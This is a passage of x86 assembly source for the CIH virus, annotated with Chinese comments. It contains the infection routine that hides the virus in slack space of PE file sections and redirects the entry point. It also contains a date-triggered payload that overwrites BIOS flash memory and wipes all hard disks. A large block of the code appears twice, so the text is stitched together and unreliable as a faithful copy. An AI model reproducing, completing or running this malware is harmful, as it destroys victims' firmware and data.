; ***************************
; * Let's Set Total Virus *
; * Code Section Table *
; *************************** ; EBX = My Virus First Section Code
; Size of Following Section Table
pop ebx ; 未用空间大小
pop edi ; EDI = TotalSizeOfVirusCodeSectionTabl
pop ecx ; ECX = NumberOfSections+1 push edi ; Size add edx, ebp ; ebp为块表大小
push edx ; Pointer of File ;指向块表后(第一块) add ebp, esi ; ebp指向病毒数据区的块表后(第一块)
push ebp ; Address of Buffer ; ***************************
; * Set the First Virus *
; * Code Section Size in *
; * VirusCodeSectionTable *
; *************************** lea eax, [ebp+edi-04h]
mov [eax], ebx ;设置病毒代码第一块的大小(未用空间大小)到病毒块表 ; ***************************
; * Let's Set My Virus *
; * First Section Code *
; *************************** push ebx ; Size ;病毒代码第一块的大小(未用空间大小) add edx, edi
push edx ; Pointer of File ;指向块表后(第一块)+Size??=病毒正文(病毒开始处) lea edi, (MyVirusStart-@9)[esi]
push edi ; Address of Buffer ;指向病毒开始处 ; ***************************
; * Let's Modify the *
; * AddressOfEntryPoint to *
; * My Virus Entry Point *
; *************************** mov (NewAddressOfEntryPoint-@9)[esi], edx ;保存新的程序入口(病毒正文) ; ***************************
; * Setup Initial Data *
; *************************** lea edx, [esi-SizeOfScetionTable] ;edx先减一项块表长度,以配合下面的"助标1"
mov ebp, offset VirusSize ;ebp为病毒长度 jmp StartToWriteCodeToSections ; ***************************
; * Write Code to Sections *
; *************************** LoopOfWriteCodeToSections:
add edx, SizeOfScetionTable ;助标1:
;指向下一块表项
mov ebx, (SizeOfRawData-@9)[edx] ;ebx为该块表项的SizeOfRawData(块大小)
sub ebx, (VirtualSize-@9)[edx] ;减去VirtualSize=该块未用空间
jbe EndOfWriteCodeToSections push ebx ; Size sub eax, 08h
mov [eax], ebx ;写入病毒块表 mov ebx, (PointerToRawData-@9)[edx] ;ebx为块的物理(实际)偏移?
add ebx, (VirtualSize-@9)[edx] ;加上VirtualSize
push ebx ; Pointer of File ;ebx指向该块未用空间的文件指针 push edi ; Address of Buffer mov ebx, (VirtualSize-@9)[edx]
add ebx, (VirtualAddress-@9)[edx]
add ebx, (ImageBase-@9)[esi] ;ebx为该块装入后的实际地址
mov [eax+4], ebx ;保存到病毒块表中 mov ebx, [eax] ;该块未用空间大小
add (VirtualSize-@9)[edx], ebx ;加到该块表项的VirtualSize ; Section contains initialized data ==> 00000040h
; Section can be Read. ==> 40000000h
or (Characteristics-@9)[edx], 40000040h ;改该块表项的块属性(改为可读,并包含初始化数据) StartToWriteCodeToSections: sub ebp, ebx ;病毒大小-病毒块大小
jbe SetVirusCodeSectionTableEndMark ;如果小于(病毒插入完毕)就设置病毒块表结束符 add edi, ebx ; Move Address of Buffer ;指向病毒下一块 EndOfWriteCodeToSections: loop LoopOfWriteCodeToSections ; ***************************
; * Only Set Infected Mark *
; *************************** OnlySetInfectedMark:
mov esp, dr1 ;只设置感染标志 jmp WriteVirusCodeToFile ;跳到写病毒到要传染的文件的程序 ; ***************************
; * Not Set Infected Mark *
; *************************** NotSetInfectedMark:
add esp, 3ch ;不设置感染标志 jmp CloseFile ;跳到关文件 ; ***************************
; * Set Virus Code *
; * Section Table End Mark *
; *************************** SetVirusCodeSectionTableEndMark: ; Adjust Size of Virus Section Code to Correct Value
add [eax], ebp ;更正病毒块表的最后一项
add [esp+08h], ebp ; Set End Mark
xor ebx, ebx
mov [eax-04h], ebx ;设置块表结束标志 ; ***************************
; * When VirusGame Calls *
; * VxDCall, VMM Modifies *
; * the 'int 20h' and the *
; * 'Service Identifier' *
; * to 'Call [XXXXXXXX]'. *
; ***************************
; * Before Writing My Virus *
; * to File, I Must Restore *
; * them First. ^__^ *
; *************************** lea eax, (LastVxDCallAddress-2-@9)[esi] ;上一个调用VXD的指令的地址 mov cl, VxDCallTableSize ;所用VXD调用的个数 LoopOfRestoreVxDCallID:
mov word ptr [eax], 20cdh ;还原成"int 20h"的形式 mov edx, (VxDCallIDTable+(ecx-1)*04h-@9)[esi] ;从VxDCallIDTable取出VXD调用的id号放到edx
mov [eax+2], edx ;放到"int 20h"的后面,形成'int 20h' and the 'Service Identifier'的形式 movzx edx, byte ptr (VxDCallAddressTable+ecx-1-@9)[esi] ;VxDCallAddressTable中放着各个调用VXD的指令的地址之差 sub eax, edx ;eax为上一个调用地址 loop LoopOfRestoreVxDCallID ;还原其他的调用 ; ***************************
; * Let's Write *
; * Virus Code to the File *
; *************************** WriteVirusCodeToFile:
mov eax, dr1 ;dr1为前面所保存的esp
mov ebx, [eax+10h] ;ebx为保存在栈中的保存文件句柄
mov edi, [eax] ;edi为保存在栈中的IFSMgr_Ring0_FileIO调用的地址 LoopOfWriteVirusCodeToFile: pop ecx ;病毒代码各段的偏移
jecxz SetFileModificationMark ;到病毒偏移零为止 mov esi, ecx
mov eax, 0d601h ;写文件功能号(R0_WRITEFILE)
pop edx ;文件指针
pop ecx ;要写的字节数 call edi ; VXDCall IFSMgr_Ring0_FileIO ;写文件
;依次写入:各段病毒代码,病毒块表,新的文件块表,新的程序入口,感染标志
jmp LoopOfWriteVirusCodeToFile ; ***************************
; * Let's Set CF = 1 ==> *
; * Need to Restore File *
; * Modification Time *
; *************************** SetFileModificationMark:
pop ebx
pop eax stc ; Enable CF(Carry Flag) ;设置进位标志
pushf ;标志位压栈 ; *************************************
; * Close File *
; ************************************* CloseFile:
xor eax, eax
mov ah, 0d7h ;关闭文件功能号
call edi ; VXDCall IFSMgr_Ring0_FileIO ; *************************************
; * Need to Restore File Modification *
; * Time !? *
; ************************************* popf
pop esi
jnc IsKillComputer ;CF=0就KillComputer :-( ; *************************************
; * Restore File Modification Time *
; ************************************* mov ebx, edi mov ax, 4303h
mov ecx, (FileModificationTime-@7)[esi]
mov edi, (FileModificationTime+2-@7)[esi]
call ebx ; VXDCall IFSMgr_Ring0_FileIO ;修改文件修改时间 ; *************************************
; * Disable OnBusy *
; ************************************* DisableOnBusy:
dec byte ptr (OnBusy-@7)[esi] ; Disable OnBus ; *************************************
; * Call Previous FileSystemApiHook *
; ************************************* prevhook:
popad ;恢复所有寄存器 mov eax, dr0 ; 保存的原来的文件系统钩子程序首址
jmp [eax] ; Jump to prevhook ;跳到前一个钩子去执行 ; *************************************
; * Call the Function that the IFS *
; * Manager Would Normally Call to *
; * Implement this Particular I/O *
; * Request. *
; ************************************* pIFSFunc: ; FileSystemApiHookFunction的参数见助标2
mov ebx, esp ; ebx指向esp以获得FileSystemApiHookFunction的参数地址
push dword ptr [ebx+20h+04h+14h] ; Push pioreq ;把参数pioreq pir压栈(ebx+20h+04h为参数首址)
call [ebx+20h+04h] ; Call pIFSFunc ;调用pIFSFunc FSDFnAddr(FSD的功能地址)
pop ecx ; mov [ebx+1ch], eax ; Modify EAX Value in Stack ;改eax的值(在栈中,20h为pushad的压栈大小,1ch为第一个压栈的eax) ; ***************************
; * After Calling pIFSFunc, *
; * Get Some Data from the *
; * Returned pioreq. *
; *************************** cmp dword ptr [ebx+20h+04h+04h], 00000024h ;详见助标2
jne QuitMyVirusFileSystemHook ; *****************
; * Get the File *
; * Modification *
; * Date and Time *
; * in DOS Format.*
; ***************** mov eax, [ecx+28h]
mov (FileModificationTime-@6)[esi], eax ;保存获得的文件时间和日期 ; ***************************
; * Quit My Virus' *
; * IFSMgr_FileSystemHook *
; *************************** QuitMyVirusFileSystemHook: popad ;恢复所有寄存器 ret ;从病毒设置的文件钩子程序中退
; * Let's Set Total Virus *
; * Code Section Table *
; *************************** ; EBX = My Virus First Section Code
; Size of Following Section Table
pop ebx ; 未用空间大小
pop edi ; EDI = TotalSizeOfVirusCodeSectionTabl
pop ecx ; ECX = NumberOfSections+1 push edi ; Size add edx, ebp ; ebp为块表大小
push edx ; Pointer of File ;指向块表后(第一块) add ebp, esi ; ebp指向病毒数据区的块表后(第一块)
push ebp ; Address of Buffer ; ***************************
; * Set the First Virus *
; * Code Section Size in *
; * VirusCodeSectionTable *
; *************************** lea eax, [ebp+edi-04h]
mov [eax], ebx ;设置病毒代码第一块的大小(未用空间大小)到病毒块表 ; ***************************
; * Let's Set My Virus *
; * First Section Code *
; *************************** push ebx ; Size ;病毒代码第一块的大小(未用空间大小) add edx, edi
push edx ; Pointer of File ;指向块表后(第一块)+Size??=病毒正文(病毒开始处) lea edi, (MyVirusStart-@9)[esi]
push edi ; Address of Buffer ;指向病毒开始处 ; ***************************
; * Let's Modify the *
; * AddressOfEntryPoint to *
; * My Virus Entry Point *
; *************************** mov (NewAddressOfEntryPoint-@9)[esi], edx ;保存新的程序入口(病毒正文) ; ***************************
; * Setup Initial Data *
; *************************** lea edx, [esi-SizeOfScetionTable] ;edx先减一项块表长度,以配合下面的"助标1"
mov ebp, offset VirusSize ;ebp为病毒长度 jmp StartToWriteCodeToSections ; ***************************
; * Write Code to Sections *
; *************************** LoopOfWriteCodeToSections:
add edx, SizeOfScetionTable ;助标1:
;指向下一块表项
mov ebx, (SizeOfRawData-@9)[edx] ;ebx为该块表项的SizeOfRawData(块大小)
sub ebx, (VirtualSize-@9)[edx] ;减去VirtualSize=该块未用空间
jbe EndOfWriteCodeToSections push ebx ; Size sub eax, 08h
mov [eax], ebx ;写入病毒块表 mov ebx, (PointerToRawData-@9)[edx] ;ebx为块的物理(实际)偏移?
add ebx, (VirtualSize-@9)[edx] ;加上VirtualSize
push ebx ; Pointer of File ;ebx指向该块未用空间的文件指针 push edi ; Address of Buffer mov ebx, (VirtualSize-@9)[edx]
add ebx, (VirtualAddress-@9)[edx]
add ebx, (ImageBase-@9)[esi] ;ebx为该块装入后的实际地址
mov [eax+4], ebx ;保存到病毒块表中 mov ebx, [eax] ;该块未用空间大小
add (VirtualSize-@9)[edx], ebx ;加到该块表项的VirtualSize ; Section contains initialized data ==> 00000040h
; Section can be Read. ==> 40000000h
or (Characteristics-@9)[edx], 40000040h ;改该块表项的块属性(改为可读,并包含初始化数据) StartToWriteCodeToSections: sub ebp, ebx ;病毒大小-病毒块大小
jbe SetVirusCodeSectionTableEndMark ;如果小于(病毒插入完毕)就设置病毒块表结束符 add edi, ebx ; Move Address of Buffer ;指向病毒下一块 EndOfWriteCodeToSections: loop LoopOfWriteCodeToSections ; ***************************
; * Only Set Infected Mark *
; *************************** OnlySetInfectedMark:
mov esp, dr1 ;只设置感染标志 jmp WriteVirusCodeToFile ;跳到写病毒到要传染的文件的程序 ; ***************************
; * Not Set Infected Mark *
; *************************** NotSetInfectedMark:
add esp, 3ch ;不设置感染标志 jmp CloseFile ;跳到关文件 ; ***************************
; * Set Virus Code *
; * Section Table End Mark *
; *************************** SetVirusCodeSectionTableEndMark: ; Adjust Size of Virus Section Code to Correct Value
add [eax], ebp ;更正病毒块表的最后一项
add [esp+08h], ebp ; Set End Mark
xor ebx, ebx
mov [eax-04h], ebx ;设置块表结束标志 ; ***************************
; * When VirusGame Calls *
; * VxDCall, VMM Modifies *
; * the 'int 20h' and the *
; * 'Service Identifier' *
; * to 'Call [XXXXXXXX]'. *
; ***************************
; * Before Writing My Virus *
; * to File, I Must Restore *
; * them First. ^__^ *
; *************************** lea eax, (LastVxDCallAddress-2-@9)[esi] ;上一个调用VXD的指令的地址 mov cl, VxDCallTableSize ;所用VXD调用的个数 LoopOfRestoreVxDCallID:
mov word ptr [eax], 20cdh ;还原成"int 20h"的形式 mov edx, (VxDCallIDTable+(ecx-1)*04h-@9)[esi] ;从VxDCallIDTable取出VXD调用的id号放到edx
mov [eax+2], edx ;放到"int 20h"的后面,形成'int 20h' and the 'Service Identifier'的形式 movzx edx, byte ptr (VxDCallAddressTable+ecx-1-@9)[esi] ;VxDCallAddressTable中放着各个调用VXD的指令的地址之差 sub eax, edx ;eax为上一个调用地址 loop LoopOfRestoreVxDCallID ;还原其他的调用 ; ***************************
; * Let's Write *
; * Virus Code to the File *
; *************************** WriteVirusCodeToFile:
mov eax, dr1 ;dr1为前面所保存的esp
mov ebx, [eax+10h] ;ebx为保存在栈中的保存文件句柄
mov edi, [eax] ;edi为保存在栈中的IFSMgr_Ring0_FileIO调用的地址 LoopOfWriteVirusCodeToFile: pop ecx ;病毒代码各段的偏移
jecxz SetFileModificationMark ;到病毒偏移零为止 mov esi, ecx
mov eax, 0d601h ;写文件功能号(R0_WRITEFILE)
pop edx ;文件指针
pop ecx ;要写的字节数 call edi ; VXDCall IFSMgr_Ring0_FileIO ;写文件
;依次写入:各段病毒代码,病毒块表,新的文件块表,新的程序入口,感染标志
jmp LoopOfWriteVirusCodeToFile ; ***************************
; * Let's Set CF = 1 ==> *
; * Need to Restore File *
; * Modification Time *
; *************************** SetFileModificationMark:
pop ebx
pop eax stc ; Enable CF(Carry Flag) ;设置进位标志
pushf ;标志位压栈 ; *************************************
; * Close File *
; ************************************* CloseFile:
xor eax, eax
mov ah, 0d7h ;关闭文件功能号
call edi ; VXDCall IFSMgr_Ring0_FileIO ; *************************************
; * Need to Restore File Modification *
; * Time !? *
; ************************************* popf
pop esi
jnc IsKillComputer ;CF=0就KillComputer :-( ; *************************************
; * Restore File Modification Time *
; ************************************* mov ebx, edi mov ax, 4303h
mov ecx, (FileModificationTime-@7)[esi]
mov edi, (FileModificationTime+2-@7)[esi]
call ebx ; VXDCall IFSMgr_Ring0_FileIO ;修改文件修改时间 ; *************************************
; * Disable OnBusy *
; ************************************* DisableOnBusy:
dec byte ptr (OnBusy-@7)[esi] ; Disable OnBus ; *************************************
; * Call Previous FileSystemApiHook *
; ************************************* prevhook:
popad ;恢复所有寄存器 mov eax, dr0 ; 保存的原来的文件系统钩子程序首址
jmp [eax] ; Jump to prevhook ;跳到前一个钩子去执行 ; *************************************
; * Call the Function that the IFS *
; * Manager Would Normally Call to *
; * Implement this Particular I/O *
; * Request. *
; ************************************* pIFSFunc: ; FileSystemApiHookFunction的参数见助标2
mov ebx, esp ; ebx指向esp以获得FileSystemApiHookFunction的参数地址
push dword ptr [ebx+20h+04h+14h] ; Push pioreq ;把参数pioreq pir压栈(ebx+20h+04h为参数首址)
call [ebx+20h+04h] ; Call pIFSFunc ;调用pIFSFunc FSDFnAddr(FSD的功能地址)
pop ecx ; mov [ebx+1ch], eax ; Modify EAX Value in Stack ;改eax的值(在栈中,20h为pushad的压栈大小,1ch为第一个压栈的eax) ; ***************************
; * After Calling pIFSFunc, *
; * Get Some Data from the *
; * Returned pioreq. *
; *************************** cmp dword ptr [ebx+20h+04h+04h], 00000024h ;详见助标2
jne QuitMyVirusFileSystemHook ; *****************
; * Get the File *
; * Modification *
; * Date and Time *
; * in DOS Format.*
; ***************** mov eax, [ecx+28h]
mov (FileModificationTime-@6)[esi], eax ;保存获得的文件时间和日期 ; ***************************
; * Quit My Virus' *
; * IFSMgr_FileSystemHook *
; *************************** QuitMyVirusFileSystemHook: popad ;恢复所有寄存器 ret ;从病毒设置的文件钩子程序中退
xor al, 26h ; ??/26/???? ;从CMOS中获得当前的日期 IF DEBUG
jmp DisableOnBusy
ELSE
jnz DisableOnBusy
ENDIF ;如果是每月的26号就KillComputer(太危险了).*^_^*. ; **************************************
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; ************************************** ; ***************************
; * Kill BIOS EEPROM *
; *************************** mov bp, 0cf8h
lea esi, IOForEEPROM-@7[esi] ; ***********************
; * Show BIOS Page in *
; * 000E0000 - 000EFFFF *
; * ( 64 KB ) *
; *********************** mov edi, 8000384ch
mov dx, 0cfeh
cli
call esi ; ***********************
; * Show BIOS Page in *
; * 000F0000 - 000FFFFF *
; * ( 64 KB ) *
; *********************** mov di, 0058h
dec edx ; and a0fh
mov word ptr (BooleanCalculateCode-@10)[esi], 0f24h
call esi ; ***********************
; * Show the BIOS Extra *
; * ROM Data in Memory *
; * 000E0000 - 000E01FF *
; * ( 512 Bytes ) *
; * , and the Section *
; * of Extra BIOS can *
; * be Writted... *
; *********************** lea ebx, EnableEEPROMToWrite-@10[esi] mov eax, 0e5555h
mov ecx, 0e2aaah
call ebx
mov byte ptr [eax], 60h push ecx
loop $ ; ***********************
; * Kill the BIOS Extra *
; * ROM Data in Memory *
; * 000E0000 - 000E007F *
; * ( 80h Bytes ) *
; *********************** xor ah, ah
mov [eax], al xchg ecx, eax
loop $ ; ***********************
; * Show and Enable the *
; * BIOS Main ROM Data *
; * 000E0000 - 000FFFFF *
; * ( 128 KB ) *
; * can be Writted... *
; *********************** mov eax, 0f5555h
pop ecx
mov ch, 0aah
call ebx
mov byte ptr [eax], 20h loop $ ; ***********************
; * Kill the BIOS Main *
; * ROM Data in Memory *
; * 000FE000 - 000FE07F *
; * ( 80h Bytes ) *
; *********************** mov ah, 0e0h
mov [eax], al ; ***********************
; * Hide BIOS Page in *
; * 000F0000 - 000FFFFF *
; * ( 64 KB ) *
; ***********************
; or al 0h
mov word ptr (BooleanCalculateCode-@10)[esi], 100ch
call esi ; ***************************
; * Kill All HardDisk *
; ***************************************************
; * IOR Structure of IOS_SendCommand Needs *
; ***************************************************
; * ?? ?? ?? ?? 01 00 ?? ?? 01 05 00 40 ?? ?? ?? ?? *
; * 00 00 00 00 00 00 00 00 00 08 00 00 00 10 00 c0 *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? ?? *
; *************************************************** KillHardDisk:
xor ebx, ebx
mov bh, FirstKillHardDiskNumber
push ebx
sub esp, 2ch
push 0c0001000h
mov bh, 08h
push ebx
push ecx
push ecx
push ecx
push 40000501h
inc ecx
push ecx
push ecx mov esi, esp
sub esp, 0ach LoopOfKillHardDisk:
int 20h
dd 00100004h ; VXDCall IOS_SendCommand cmp word ptr [esi+06h], 0017h
je KillNextDataSection ChangeNextHardDisk:
inc byte ptr [esi+4dh] jmp LoopOfKillHardDisk KillNextDataSection:
add dword ptr [esi+10h], ebx
mov byte ptr [esi+4dh], FirstKillHardDiskNumber jmp LoopOfKillHardDisk
; ***************************
; * Enable EEPROM to Write *
; *************************** EnableEEPROMToWrite:
mov [eax], cl
mov [ecx], al
mov byte ptr [eax], 80h
mov [eax], cl
mov [ecx], al ret ; ***************************
; * IO for EEPROM *
; *************************** IOForEEPROM:
@10 = IOForEEPROM xchg eax, edi
xchg edx, ebp
out dx, eax xchg eax, edi
xchg edx, ebp
in al, dx BooleanCalculateCode = $
or al, 44h xchg eax, edi
xchg edx, ebp
out dx, eax xchg eax, edi
xchg edx, ebp
out dx, al ret ; *********************************************************
; * Static Data *
; ********************************************************* LastVxDCallAddress = IFSMgr_Ring0_FileIO ;最后一个调用的VxD的指令的地址
VxDCallAddressTable db 00h
db IFSMgr_RemoveFileSystemApiHook-_PageAllocate
db UniToBCSPath-IFSMgr_RemoveFileSystemApiHook
db IFSMgr_Ring0_FileIO-UniToBCSPath ;各个VxD调用指令地址之差 VxDCallIDTable dd 00010053h, 00400068h, 00400041h, 00400032h ;VxD的调用号
VxDCallTableSize = ($-VxDCallIDTable)/04h ;程序中使用VxD调用的个数 ; *********************************************************
; * Virus Version Copyright *
; ********************************************************* VirusVersionCopyright db 'CIH v' ;CIH病毒的标识
db MajorVirusVersion+'0' ;主版本号
db '.'
db MinorVirusVersion+'0' ;副版本号
db ' TATUNG' ;作者名字 ; *********************************************************
; * Virus Size *
; ********************************************************* VirusSize = $
; + SizeOfVirusCodeSectionTableEndMark(04h)
; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h)
; + SizeOfTheFirstVirusCodeSectionTable(04h) ;病毒代码全长 ; *********************************************************
; * Dynamic Data *
; ********************************************************* VirusGameDataStartAddress = VirusSize
@6 = VirusGameDataStartAddress
OnBusy db 0 ;忙标志
FileModificationTime dd ? ;文件修改时间 FileNameBuffer db FileNameBufferSize dup(?) ;7fh长的文件名数据区
@7 = FileNameBuffer DataBuffer = $
@8 = DataBuffer
NumberOfSections dw ? ; 块数目
TimeDateStamp dd ? ; 文件时间
SymbolsPointer dd ? ;
NumberOfSymbols dd ? ; 符号表中符号个数
SizeOfOptionalHeader dw ? ; 可选部首长度
_Characteristics dw ? ; 信息标志
Magic dw ? ; 标志字(总是010bh)
LinkerVersion dw ? ; 连接器版本号
SizeOfCode dd ? ; 代码段大小
SizeOfInitializedData dd ? ; 已初始化数据块大小
SizeOfUninitializedData dd ? ; 未初始化数据块大小
AddressOfEntryPoint dd ? ; 程序起始RVA
BaseOfCode dd ? ; 代码段起始RVA
BaseOfData dd ? ; 数据段起始RVA
ImageBase dd ? ; 装入基址RVA
@9 = $
SectionAlignment dd ? ; 块对齐
FileAlignment dd ? ; 文件块对齐
OperatingSystemVersion dd ? ; 所需操作系统版本号
ImageVersion dd ? ; 用户自定义版本号
SubsystemVersion dd ? ; 所需子系统版本号
Reserved dd ? ; 保留
SizeOfImage dd ? ; 文件各部分总长
SizeOfHeaders dd ? ; 部首及块表大小
SizeOfImageHeaderToRead = $-NumberOfSections ;
;
NewAddressOfEntryPoint = DataBuffer ; DWORD ;
SizeOfImageHeaderToWrite = 04h ; StartOfSectionTable = @9
SectionName = StartOfSectionTable ; QWORD ; 块名
VirtualSize = StartOfSectionTable+08h ; DWORD ; 该段真实长度
VirtualAddress = StartOfSectionTable+0ch ; DWORD ; 该块的RVA
SizeOfRawData = StartOfSectionTable+10h ; DWORD ; 该块物理长度
PointerToRawData = StartOfSectionTable+14h ; DWORD ; 该块物理偏移
PointerToRelocations = StartOfSectionTable+18h ; DWORD ; 重定位的偏移
PointerToLineNumbers = StartOfSectionTable+1ch ; DWORD ; 行号表的偏移
NumberOfRelocations = StartOfSectionTable+20h ; WORD ; 重定位项数目
NumberOfLinenNmbers = StartOfSectionTable+22h ; WORD ; 行号表的数目
Characteristics = StartOfSectionTable+24h ; DWORD ; 块属性
SizeOfScetionTable = Characteristics+04h-SectionName ; 块表项的长度 ; *********************************************************
; * Virus Total Need Memory *
; ********************************************************* VirusNeedBaseMemory = $ VirusNeedBaseMemory = $ VirusTotalNeedMemory = @9
; + NumberOfSections(??)*SizeOfScetionTable(28h)
; + SizeOfVirusCodeSectionTableEndMark(04h)
; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h)
; + SizeOfTheFirstVirusCodeSectionTable(04h) ;病毒所需的内存(病毒全长) ; *********************************************************
; ********************************************************* VirusGame ENDS END FileHeader (全部完毕)